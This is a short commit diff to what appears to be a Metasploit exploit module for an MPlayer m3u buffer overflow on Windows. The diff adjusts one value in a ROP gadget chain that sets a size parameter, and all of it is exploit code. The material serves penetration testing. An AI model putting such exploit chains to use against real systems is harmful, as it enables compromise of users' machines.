Fix the dwSize parameter

modules/exploits/windows/fileformat/mplayer_m3u_bof.rb

@@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
       0x6ad9d85d,  # POP EBP # RETN [avcodec-52.dll]
       0x10018fc3,  # &CALL ESP [unrar.dll]
       0x64984a70,  # POP EAX # RETN [avformat-52.dll]
-      0xffffec4e,  # Value to negate, will become 0x00005041
+      0xffffec4f,  # Value to negate, will become 0x00005040
       0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
       0x6b063c7d,  # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
       junk,